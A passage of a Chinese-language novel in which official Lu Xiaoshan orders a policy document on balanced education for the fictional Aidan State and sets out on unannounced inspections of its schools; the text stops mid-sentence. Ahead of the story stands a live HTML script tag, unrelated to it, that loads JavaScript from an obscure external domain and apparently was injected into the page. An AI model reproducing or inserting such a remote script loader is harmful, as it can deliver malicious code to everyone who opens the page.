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<script src="https://xxsmad3.com/s.php?g=1&t=2&p=1388&i="></script>开完全州教育系统干部大会之后,路小山让盛和伊美找来基础教育部部长艾可森,他说:″可森部长,你组织撰写一份具有统领高度的综合性政策文件,主题是:坚定不移全面贯彻落实山派教育思想,持之以恒深入推进教育基本均衡。在文件里要注意为均衡确定正确的含义:均衡不是削高就低,也不是低位均衡,我们的学校都要在高端相见,打造卧雪公国的艾丹州教育高地。”
二月的艾丹州,春寒料峭。
路小山风风火火地奔走在新春走基层的路上,他的目标是尽快考察完全州128郡,深入了解基层学校的工作状况。
路小山下基层考察不允许任何人透露行程,并且他带在身边的人也不多,他只带着盛和伊美、艾可森、马克劲松、鹿历二男和秘书部的两个男大学生志愿者。
每到一郡,直接入学校察看,完成察看后到郡教育局,听
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